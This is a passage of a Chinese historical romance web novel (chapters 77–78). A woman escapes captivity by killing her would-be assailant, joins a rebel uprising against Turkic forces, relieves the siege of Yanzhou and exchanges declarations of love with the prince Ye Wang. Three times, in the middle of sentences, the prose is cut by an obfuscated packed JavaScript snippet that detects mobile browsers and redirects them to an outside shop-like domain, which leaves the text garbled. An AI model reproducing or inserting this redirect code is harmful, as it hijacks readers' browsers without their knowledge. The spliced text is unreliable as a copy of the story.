他收回目光，重新看向焦灼的谭奇和周围望过来的将领，眼神锐利。 “谭节使，集合还能战的所有人马，清点所有剩余的守城器械、火油、擂石。” “我们，赌一把。” —— 营帐内，织机声单调地响着。季辞秋手中的梭子穿梭不停，心里却无端有些烦闷。 突然，帐外传来一阵由远及近的骚动，帐帘被猛地掀开，一股冷风灌入，几个平日对她们呼来喝去的监工，此刻佝偻着腰，满脸谄笑地跟在一个魁梧的突厥大汉身后。 那大汉生得豹头环眼，满脸虬髯，披着一件脏污的皮袄，目光像带着钩子，在帐内每一个女子身上缓慢地刮过。 监工们噤若寒蝉，女子们都深深埋下头，一时间只能听见织机声。 大汉的脚步在长宁面前停住了。他粗粝的手指捏住长宁的下巴，迫使她抬起头。 长宁脸色惨白，嘴唇抿得死紧，眼中是竭力压制的恐惧。大汉咂了咂嘴，浑浊的眼里露出满意的神色，用生硬的汉话对监工道：“这个，不错。带走。” 季辞秋的心猛地一沉。在监工上前拉扯之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315726|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前，她已经一步跨出，挡在了长宁身前。 她努力扯出一个笑容，带着刻意的讨好，声音也掐得又软又细：“大人……大人看看我如何？我、我不想再在这鬼地方织布了，求大人行行好，带我走吧。”她甚至微微挺了挺身子。 大汉的目光果然被她吸引过来，在她脸上、身上逡巡，最后停驻在她胸前，嘴角咧开，露出一丝毫不掩饰的淫邪笑意。“呵，倒是个识趣的。”他挥挥手，“这个，带走。” “姐姐！”长宁失声，想要扑上去，却被身后的明丽死死抱住，捂住了嘴。 季辞秋没回头，她低垂着眼，顺从地跟着大汉和监工走出了营帐。 她被带到了营地边缘一处单独的大帐。帐内铺着颜色艳俗的毯子，宽敞华丽许多，而最扎眼的，是正中那张宽大的、铺着兽皮的床榻。 空气里有一股浓重的膻味和劣质香料混合的气息。监工将她推入帐内，丢下一句“老实呆着”，便退了出去，帐外立刻传来守卫的脚步声。 季辞秋慢慢走到帐边，从缝隙向外窥看，两个持刀的突厥兵守在外面。她退回帐中，蜷缩在远离床榻的角落，无意识地摩挲着手指上的银戒，冰凉的触感让她狂跳的心稍稍镇定几分。 夜色如浓墨泼下，帐外火光晃动。不知过了多久，沉重的脚步声伴着粗嘎的突厥语哼唱由远及近，浓烈的酒气先于人透了进来。 帐帘掀起，那个魁梧大汉踉跄着走入，满脸通红，眼神涣散。 “美人……我的小美人呢？”他眯着眼，一眼锁定了角落里的季辞秋，咧开嘴，喷出令人作呕的酒气，张着双臂便扑了过来。 季辞秋胃里一阵翻腾，强忍着没有躲闪，顺势被他扑得歪倒在厚厚的兽皮上。 大汉得寸进尺，含糊地咒骂着下流的词句，沉重的身躯压着她，粗鲁地扯她的衣襟。因着酒意，他的动作有些迟缓。 就是现在！ 季辞秋眼中寒光一闪，一直蜷在身侧的右手缓缓抬起，对准那人的脖子，在银戒的凸起上狠狠一按！ “嗤——” 一声细微到几乎无法察觉的轻响。几枚牛毛般的细针从戒面射出，精准地没入大汉后颈。 大汉庞大的身躯猛地一僵，喉咙里发出“嗬”的一声怪响，轰然倒在她身上，再无声息。 季辞秋用力将他沉重的身躯从自己身上推开，大口喘着气，迅速整理好凌乱的衣衫。她探了探大汉的鼻息，确认他已死透，才小心地挪到帐门边，屏住呼吸倾听。 夜很深了，帐外两个守卫正低声闲聊。 “头儿今天怎么这么久？” “嘿嘿，那汉女瞧着挺有味道，头儿怕是……正快活呢。咱们别打扰。” 两人又嘀咕了几句，似乎是相约去附近方便一下，脚步声渐渐远去。 季辞秋不再犹豫，轻轻掀开帐帘一角，闪身而出，融入沉沉的夜色中。 77. 心意 季辞秋朝着与织工营地相反的山坳方向，头也不回地狂奔。 她不敢停歇，直到天边泛起鱼肚白，才抵达那处隐蔽的山坳。 她的突然出现引起了不小的骚动。“季姑娘？你怎么……”李井惊讶道。 季辞秋简短讲述了昨夜发生的事，末了，平静道：“我杀了人，突厥必不会善罢甘休。此地我已不能容身，特来告辞。” 李井听完，沉默了片刻，眼神却渐渐燃起灼热的光芒。他压低声音，斩钉截铁道：“你不必走。或者说，要走，也不是你一个人走。” 季辞秋一怔。 李井的目光扫过周围同样眼神锐利的同伴，沉声道：“实不相瞒，我们的联络准备已有段时日了。本就想近日动手！”他看向季辞秋，语气诚挚而炽烈，“季姑娘，你既有胆有识，不如留下，与我们一起，反了他娘的！杀回去！” 反了。 这两个字像带着火星，落入干涸的心田。腔里一股压抑已久的炽热血气猛地冲了上来，她抬起头，眼中最后一丝彷徨褪去：“好。我与你们一道。” 李井精神大振，立刻将她引到一旁，从怀中掏出一张小心翼翼保存的粗麻布，上面用炭条画着歪歪扭扭的线条和标记。“这是我们的人冒死摸清的突厥营地大致布防，此处，还有此处，守卫相对稀疏，巡夜有空档……” 季辞秋凝神细看，手指在几个关键节点划过，又指向另一处：“这里，靠近马厩和草料场，地势略低，若是从此处同时突入，两面夹击，可让他们首尾难顾。” 李井眼睛一亮：“妙！” 就在他们谋划之时，突厥营地已炸开了锅。 巡官的尸体被发现，汉女逃脱，负责此事的百夫长暴跳如雷，一边派人四出搜索，一边将集中营里所有汉人驱赶到空地上，厉声喝问，声称要揪出同党。 长宁听到季辞秋成功逃脱的消息时，一直紧绷的心弦骤然一松，随即是对突厥更深的恨意。这时，一直紧紧挨着她的明丽，在她耳边以极低的声音飞快说道：“她现在是安全的。长宁，想不想离开这鬼地方？想不想去见姐姐？” 长宁猛地转头，看向明丽。明丽脸上没有了平日那种谨慎的麻木，眼底闪动着她从未见过的的光芒。 “今晚愿不愿意跟我做件事？做了，我们就能逃出去，找到她。” 长宁没有丝毫犹豫，重重点头。 夜色再次笼罩营地。下半夜，正是人最困乏之时，明丽不知从哪里拎出一个木桶，拉着长宁，借着帐篷的阴影，悄无声息地移动。 “明丽姐姐，这是什么？”长宁闻到了一股刺鼻的味道。 明丽回头，微微一笑，低声道：“能让突厥鞑子乱成一锅粥的好东西。” 她们灵巧地躲避着懈怠的巡逻兵，沿着营地边缘，尤其是那些堆放皮毛、干草的区域，将木桶里粘稠黑臭的液体倾倒出去。 做完这一切，明丽拉着长宁躲到一处木栅栏后。她掏出火折子，吹亮，看向长宁：“准备好了。待会，跟着我，拼命跑。” 话音刚落，她将手中的火折子奋力掷向不远处一顶泼了油膏的毡帐。 “呼——！” 火舌猛地蹿起，如同饥饿的野兽，瞬间舔舐上浸透油脂的毛毡和干草，并以惊人的速度沿着油渍蔓延开来。 夜风一助，火势轰然大作，浓烟滚滚。 “走水了！” “救火！快救火！” 突厥营地顿时大乱，惊呼声、咒骂声、慌乱的脚步声与牲畜的惊叫声响成一片。许多突厥兵从睡梦中惊醒，衣衫不整地冲出帐篷，面对冲天火光，一时懵在原地。 “就是现在！”明丽低喝一声，拉着长宁，趁乱冲向那处栅栏破损处。而集中营那边，早就暗中得到通知的汉人们，也纷纷举起任何能当做武器的东西，拼命向外冲。 营地内外一片鼎沸，火光映红了半边天。 就在这时—— “杀——！！！” 震天的喊杀声如同平地惊雷，骤然从营地外的黑暗中爆发。火光映照下，季辞秋与李井一马当先，率领着数百名汉子猛冲过来。 他们兵分两路，一路直扑正门，一路从马厩旁的薄弱处迅猛突入。 本就因大火和营内汉人暴动而惊慌失措的突厥，此刻更是魂飞魄散。他们何曾想到，在这被他们视为后方的地盘，会突然杀出这样一支充满杀气的汉人队伍。 战斗几乎呈现一边倒的态势。李井的人马憋屈了太久，仇恨和求生的欲望化作滔天战力。季辞秋手中握着一把从突厥兵手里夺来的弯刀，动作狠准，专挑要害。 不断有突厥兵倒下，狼旗在火光中摇摇欲坠。 终于，在众人的冲杀下，残余的突厥兵彻底溃散，逃入黑暗的荒野。李井和几名身手矫健的同伴，在无数道目光的注视下，奋力攀上高高的城墙。 “咔嚓！” 突厥的狼旗被狠狠扯下，扔进尚未熄灭的余烬中，迅速卷曲、焦黑、化为灰烬。 不知是谁先带的头，一声混杂着无尽狂喜与宣泄的嘶吼冲破喉咙。 紧接着，第二声，第三声……成百上千的嘶吼汇聚在一起，直冲云霄。 东边，一轮血色的朝阳正奋力跃出地平线。 季辞秋拄着刀，微微喘息，望着燃烧的狼旗和欢呼的人群，望着向她奔来的长宁和明丽，一直紧抿的唇角，终于向上弯起了一个细微的弧度。 天亮了。 赶走突厥后，戚卫第一时间让守军加固城池，并派人密切盯着城外突厥动向。 他们刚刚夺取城郡，立足未稳，突厥主力随时可能反扑，必须争分夺秒。营地里弥漫着硝烟和血腥气，所有人都忙碌起来，修补栅栏，清点缴获的兵械，埋葬死者，照料伤员。 然而，派出的巡骑带回的消息却出乎意料。 “报！突厥溃兵并未在北方集结，反而有不少人马，朝着西南方向去了！”哨探的脸上带着困惑。 西南边，那不就是延州吗？正查看布防图的季辞秋猛地抬头，确认了一遍。 “千真万确！烟尘马蹄，去的正是西南方！” 她的心脏骤然一缩，像被无形的手攥紧。 李井摸着下巴的胡茬，眉头紧锁：“怪事。他们不急着夺回这里，往南边去作甚？看这规模，莫非是要大举进攻延州城？”他转头问季辞秋，“季姑娘，你之前在延州呆过，可知那边近来军情如何？突厥常去那边打草谷么？” 季辞秋强迫自己冷静，摇了摇头，声音有些发干：“我只知延州周边近来不太平，零星寇边时有发生，道路也常因之封锁。但……突厥集结溃兵，不图收复失地，反要劳师远征去攻另一座城？” 戚卫的眉头拧成了疙瘩，作为老行伍的直觉让他感到不安：“延州城高池深，军事价值远比不上长平，此时集大军去碰……” 一个冰冷的念头，如同毒蛇，倏地钻入季辞秋的脑海。年关将至，按照她所知的历史轨迹，马上就是“天凤”年号的最后一年。天下将倾的巨变前夕，突厥异动，兵锋直指延州…… 叶望。 那个名字带着凛冬的寒意撞上心头。他罹患顽疾，病情蹊跷。京中的暗流，叶玄的虎视，皇帝莫测的帝心……这一切，与眼前突厥的反常，会不会有某种联系？ 一股恶寒，顺着脊椎爬遍全身。 “季姑娘？”李井察觉她脸色不对，“你可是想到什么？” 季辞秋深吸一口气，冰凉的空气刺得肺叶生疼。她抬眸，目光扫过李井和戚卫，声音不大，却字字清晰：“延州城年初来了一位藩王。我怀疑突厥此番异动，与他有关。” “藩王？”戚卫一怔，“哪位在延州？” “晋王。” “晋王？”戚卫倒抽一口凉气，脸上露出恍然，“可是当年与季老将军一同镇守陇西的晋王殿下？” “正是。”季辞秋答，苦涩漫上唇角。坦白来说，她透露此番消息，存有私心，然而战争残酷，九死一生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322648|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她没有立场让这些人同她一起冲锋陷阵。可仅凭她一人一骑，于烽火连城的战场，也不过是螳臂当车。 一股深深的无力感攫住了她。 就在这时，帐外的几个士兵忍不住涌了进来。一个脸上带疤的汉子率先吼道：“这事咱不能不管！晋王殿下和季老将军当年在陇西，救过多少边民，挡过多少胡骑？俺这条命，当年就是被季将军麾下的兵从突厥刀下捡回来的！这份情，俺记得！” “对！记得！” “没有晋王殿下当年在陇西稳着，咱云中早不知被祸害成啥样了！” “突厥狗崽子想害殿下？问过咱们手里的刀没有！” 群情激昂，一双双眼睛里没有畏惧，只有灼热的战意与不容置疑的坚定。 李井猛地一拍大腿，眼中精光爆射：“说得好！云中已定，心腹之患暂除。延州危急，晋王有难，我等岂能坐视？戚大哥，你带一半弟兄，守好云中。其余不怕死的，随我驰援延州，打他们个措手不及！” “愿往！” “愿往！” 许多受过旧部恩惠的义军，迫不及待地站了出来，迅速开始整理装备，检查马匹兵刃。 季辞秋望着这一张张赤诚的脸，喉头哽咽，千言万语堵在胸口，最终只化作深深一揖：“季某……谢过诸位高义！” 出发时间定在翌日黎明。是夜，季辞秋躺在简陋的铺位上，辗转难眠。 一闭上眼，便是延州城可能被围的惨烈景象。她担心他们这支匆匆集结的义军，能否及时赶到？即便赶到，对抗蓄谋而来的突厥兵马，胜算又有几何？那个人……如今还好吗？ 纷乱的思绪中，那张清隽的面容异常清晰地浮现出来。他好看的眉眼，他蹙眉批阅文书的样子，他挺直的脊背……百般焦虑里，一丝极其微弱的期待，如同冰原下的草芽，悄悄探出头。 她想见他。这个念头如此鲜明，如此迫切，压过了对战争的恐惧。 她索性起身，裹了件外袍，坐到窗边。窗外，残月如钩，寒气凛冽，将战后营地的喧嚣也冻得沉寂了几分。唯有一盏如豆的油灯，在她手边摇曳，映着她心神不宁的脸。 无意识地，她又开始摩挲右手那枚银戒。冰冷的金属触感，此刻奇异地带来一丝虚幻的慰藉。 指尖无意中压到了戒面某处凸起。 “咔哒。” 一声极轻的机括弹动声响。 戒面竟悄然向两侧滑开，露出内里镶嵌的一片打磨得极为光滑的弧形水晶，形似微小镜面。 摇曳的烛光，穿过这小小的镜面，被奇异地折射、分散，化成一道柔和而清晰的光束，投射在对面斑驳的土墙上。 光影交织，渐渐凝聚成形—— 那是一个女子的侧影，线条简洁而优美。她戴着面具，微微仰着头，似乎在看什么。 几乎是一瞬间，季辞秋认出那是自己。 她如遭雷击，呼吸骤停，心中五味杂陈。 烛光依旧柔和，晕黄的光圈笼罩着墙上的侧影，朦胧如一个易碎的梦。可她看着那光影，只觉得眼眶一阵尖锐的酸疼。 震惊、茫然、难以置信，而后翻江倒海的滞涩交织成一张密不透风的网，将她牢牢裹住。 笨蛋。 她在心里无声地骂了一句。喉咙像是被什么死死堵住，发不出任何声音。 叶望，你这个……天下第一号的大笨蛋。 倘若她一直未能发现这戒指的隐秘，他是不是就打算永远不说，永远将这点心思深埋，任由它随着时光湮没，或者随着战火、阴谋，与他一同无声无息地消失？ 凭什么？ 凭什么擅自做下这些，又凭什么以为她能心安理得地承受，却懵然不知？ 她猛地抬手，用力抹了把脸，盯着墙上那抹光影，眼神变得无比坚定，甚至带着一股狠劲。 她一定要去延州。一定要当面找到他，问个清楚明白。 这个笨蛋，休想再瞒她任何事。 78. 支援 延州城，叶望终于收到了叶朗的来信。信中说他于除夕第二日抵达京城，暂时隐蔽在城外二十五里处，只带几人进城打探。这让叶望的心稍稍放下，开始集中精力在延州的战事上。 他深知城中兵力与给养皆无法支撑长期的消耗战，唯一的生机，在于主动出击，打乱突厥人的节奏。 他与谭奇及几位老军校连夜推演，定下计策：佯装城中兵力不济，粮草将尽，故意在夜间减少城头火把与巡防密度，露出疲态。同时，秘密抽调百余骑兵，埋伏于南门之内。待突厥人以为有机可乘，大举进攻防御松懈的南城墙时，突然开城，斩杀其前锋部署。 计划虽险，却是绝境中唯一的锋芒。 然而，战争从不会完全按照预想的剧本进行。 前两日，诱敌之计似乎生效。突厥人察觉到南城的虚弱，试探性的攻击明显增多。第三日黄昏，突厥营中响起连绵号角，大队人马开始向南城墙外聚集，黑压压如同涌动的乌云。时机似乎到了。 “开城门！”叶望一身玄甲，翻身上马，手中长槊在落日余晖中泛起冷光。城门在刺耳的摩擦声中缓缓洞开，吊桥轰然落下。 “杀——！” 喊杀声震天动地，这支憋屈已久的孤军如同决堤洪水，冲向迎面而来的突厥先锋。叶望一马当先，长槊如龙，瞬间挑翻两名突厥百夫长，直插敌阵核心。突如其来的反击确实让突厥前锋一阵大乱，周军精锐结阵突进，一时竟将数倍于己的敌人压得向后退去。 但突厥可汗并非庸才。就在周军冲出不过一里地，阵型略展之际，两侧丘陵后陡然响起闷雷般的蹄声！早已埋伏好的两支突厥骑兵，从左右两翼狠狠夹击过来。 中计了！ 叶望心头一沉，瞬间明白对方将计就计，反过来设了埋伏。“结圆阵！向城门方向且战且退！”他厉声高呼，长槊横扫，荡开几支刺来的长矛，拨马回援后队。 突厥骑兵的箭矢如同飞蝗般落下，不断有周军士卒中箭倒地。 城头上，谭奇看得目眦欲裂，急令弓弩手全力覆盖射击，投下火油罐阻敌，又派出一队敢死之士出城接应。 一番血战，丢下近半尸体，叶望才带着残兵勉强退入城中。 接下来的日子，突厥人不再试探，昼夜不停地轮番猛攻各门，尤其是受损较重的南门。 城中箭矢耗尽，粮仓也日渐见底。 谭奇在一次敌军猛攻中，为堵一处缺口，身中数箭，被抬下时已是奄奄一息，弥留之际只死死抓住叶望的手，嘴唇翕动，却说不出话，眼中尽是不甘与托付。叶望半跪在血泊中，默默合上他的眼睛，起身时，脸上再无多余的表情，只有一片冰封的决绝。 第七日，阴云密布，似有大雪将至。突厥人集中了几乎所有攻城器械，对准南城一段已摇摇欲坠的城墙，发起了总攻。 巨响连绵，砖石飞溅。一段近十丈宽的城墙，在投石机的持续轰击和无数士兵的挖掘下，终于发出一声不堪重负的呻吟，轰然坍塌。烟尘冲天而起，露出了一个巨大的缺口。 “城墙破了！杀进去！”突厥人发出野兽般的欢呼，潮水般涌向缺口。 “堵住！死也要堵住！”叶望的声音已经沙哑不堪，他拔出佩剑，身先士卒。刀剑碰撞，血肉横飞，每一寸土地都被鲜血浸透。周军凭借血肉之躯和对地形的熟悉，勉强在缺口内侧组成了一道摇摇欲坠的防线，死死抵住不断涌入的敌人。 但缺口太大了，防线在一点点被压缩，后退。叶望身边的亲卫一个接一个减少，他持剑的手因脱力而颤抖，甲胄破碎，身上又添了几道深深的伤口，鲜血混着尘土，将玄甲染成了暗红色。 城墙已破，巷战开始，陷落似乎只是时间问题。 意识有些模糊，耳边的喊杀声仿佛隔了一层水。极度的疲惫和失血带来的寒冷包裹着他。就要……到此为止了么？ 也好。 就这样，很好。 这个念头再次浮现，带着一种近乎解脱的平静。只是在那片空茫的平静深处，依旧有一丝本能的不甘。 就在他准备提起气力，做最后一次冲锋时，一阵奇异的声音，穿透了震耳欲聋的喊杀，隐约传入他的耳中。 那声音来自……城外？ 不是突厥人的号角，也不是战鼓。 像是很多马蹄声，但比寻常骑兵更加沉重、密集，而且是从突厥人侧后方传来的。 烽火在城头明灭，大雪毫无征兆地簌簌落下。在刀剑的嘶鸣与突厥的惊叫中，一抹夺目的红，自苍茫的雪幕中疾驰而来，如同劈开阴霾的烈焰。 叶望以剑撑地，喘息着，几乎以为这是濒死前的幻梦。 女子红衣猎猎，手中长剑寒芒闪动，身后跟随着一群战士，像一柄烧红的利刃，狠狠刺入突厥军的侧翼，撕开一道鲜血淋漓的口子。 “援军！是援军！” 绝处逢生的守军爆发出狂喜的呐喊，士气如沸，与援军内外夹击。突厥人惊骇万分，霎时混乱溃散，在雪与血的泥泞中被迅速歼灭。 厮杀声渐歇，雪花落在叶望染血的肩甲上。他目不转睛地盯着那红衣身影下马，一步步走近，靴子踩在冻结的血泊上，发出轻微的咯吱声。 世界很吵，又出奇地静。 季辞秋在他面前站定，第一句话便让叶望怔住：“我都看到了。” 她抬起手，轻轻晃了晃指间的戒指。雪花落在戒指表面，很快融化。 “这里面，我的画像，是什么意思？”她不给他回答的间隙，声音压着颤，问题一个接一个砸过来，“为什么不告诉我？为什么一次次把我推开？” 叶望移开视线，看向远处倒伏的旗帜，喉结动了动：“……你不该来。” “不该？”季辞秋气极反笑，“难道我就该在千里之外，等着听你战死沙场的消息？” 委屈、后怕、还有一路奔袭的疲累后知后觉地涌上，让她声音发抖，竟没出息地落下泪来。 见她哭，叶望顿时慌了，那副在万军面前也不曾动摇的镇定荡然无存。“我不是那个意思……”他想抬手，又因满手血污僵住，只得急急解释，“只是局势凶险，我不想你卷入……” “倘若我愿意呢？”季辞秋打断他，狠狠擦去眼泪，目光灼灼地逼视着他，“我不想永远只被保护在身后。我也可以站在你身边，甚至可以保护你，保护我想保护的一切。” 她说得认真，微微皱着鼻子，连带着眉眼也染上一层肃然。 纷扬的雪落在他染血的眉睫，也落在她湿润的睫毛上。许久，他极轻、又极坦然地笑了笑。 “是。你是个很好的女子，自由洒脱，有胆有谋。我自始至终被你吸引，心生爱慕。”他看着她骤然睁大的眼睛，继续道，“我试过压制，毫无用处。所以在以为必将永别的时候，才留下这点念想……私心想着，或许你能看到，又怕你真的看到。” “所以，我如今看到，你待要如何处置？”季辞秋紧追不舍。 “我……”他眼中晦暗不明，长久地用目光描摹着她，最终握了握拳，像是终于交出了最脆弱的软肋，轻声问：“你……可想好了？” “这话该我来问，”季辞秋等到这句，脸颊微微发烫，语气却强作镇定，“我脾气不好，不懂那些繁文缛节，不会因为你是皇子就卑躬屈膝，你可介意？” “当然不。”叶望即答。 “我并非像你想的那样洒脱，也有踌躇纠结的一面。” 他认真想了想，赞同点头：“我也一样。” “我不接受一夫多妻，也不愿意只待在深宅相夫教子。” 叶望怔了怔，眼底笑意加深：“随你心意。” 季辞秋深吸一口气，雪夜的寒气与心口的滚烫交织。她望着他近在咫尺的俊朗面容，沾着血污却无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331728|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 专注，心跳如擂鼓：“那你愿意当我的……男朋友吗？” 叶望愣住，疑惑地重复：“男朋友？” “就是……一种特别的朋友。”季辞秋说完，见他眼中闪过一抹失落，立刻意识到这话不对。她心一横，在他全然没有防备的刹那，忽然踮起脚，飞快地在他微凉的唇上啄了一下。 一触即分。 “就是……可以做这种事的关系。”她迅速低下头，整张脸连同耳根都红透了，声音细若蚊蚋。 唇上那一点温热柔软的触感，带着她身上清冽的气息，轰然炸开。叶望周身一僵，大脑有片刻的空白。他看着她几乎要缩起来的模样，脸颊粉红，比任何春日的花都要生动灼眼。 那股压抑了太久的情感，如同雪崩般再也无法遏制。 “我知道了。”他的声音沙哑得不像话。 季辞秋下意识抬头望，一只温热的手掌轻轻捧住了她的脸。下一瞬，他的吻便落了下来，不再是浅尝辄止的触碰，而是带着攻城略地般的灼热与强势，吞没了她所有的惊呼和喘息。 唇齿交缠，气息交融。带着铁锈般的淡淡血气，更多的是他身上清冽又滚烫的温度。 季辞秋被这突如其来的激烈冲击得晕眩，腿脚发软，只能下意识地紧紧抓住他胸前冰冷的甲胄。他的攻势凶猛而绵长，仿佛要将所有未言的思念与爱意，尽数通过这个吻渡给她。 不知过了多久，在她觉得自己快要窒息时，他才终于缓缓退开，额头却仍与她相抵，呼吸同样紊乱灼热。 季辞秋大口喘着气，完全不敢睁眼看他，脸上滚烫。心中疯狂腹诽：这人平时看着克制守礼，怎么到这种事上……跟换了个人似的！ 叶望看着她红透的耳垂和颤抖的睫毛，目光深邃，似要让她沉溺：“后悔了？” 季辞秋立刻像被踩了尾巴的猫，挺直腰杆，声音还带着不稳的喘息：“谁、谁后悔了！” 恰在此时，长宁自一旁快步走来，目光在叶望身上停留一瞬，带着隐隐的敌意，而后转向季辞秋道：“姐姐，城内的人都清理完了。” 季辞秋如蒙大赦，赶紧借着转身的动作掩饰自己的慌乱，轻咳一声：“好，我这就过去。” 突厥这一仗大伤元气，残余的势力在城外仍不死心地逗留了几日，最终撤离了。叶望却并未松一口气，京城的形势尚不明朗，局势凶险，变数横生。他无法估量叶玄的兵力，难以有十足的把握。 对于这点担忧，他一直默默放在心里，不想季辞秋竟主动找他，问他京城之事，言语间似是知道什么。 她如何会知道？叶望百思不得其解，但这次并非是怀疑，而是实实在在的困惑。 季辞秋却顾不得解释，方才同他的一番交谈，让她获得了最后一块拼图，天凤最后一年的画卷徐徐在眼前复原。 “太子要逼宫。”她望着叶望的眼睛，笃定道，“我们不能坐以待毙。” “藩王带如此大军回京，怕是要定谋逆之罪。” “以救驾名义驰援。” 叶望明白她的意思，说出自己的担忧：“若要救驾名义成立，需太子有动作。”倘若太子并无逼宫动作，岂不是贼喊捉贼，自己送上门来？ 季辞秋点头，心中却未有动摇。穿越至今的每一件事，都印证历史仍在按轨迹而行，并未因她的到来改变什么，这令她对他的结局感到不安，但另一种程度上又给了她预知未来的能力。 “你的身体……还好吗？” 忽然被问到这个，叶望愣了愣，还是认真回答：“无碍。” “真的？莫要再骗我。”季辞秋半信半疑。 叶望无奈摇头，笑着看她：“没骗你，信我。” 她目不转睛地看着他，似是在评估这句话的真实性，而后牵起他垂在两侧的手，做仪式般紧握着举到胸前，定定道：“那你也信我一次，太子会有动作的。”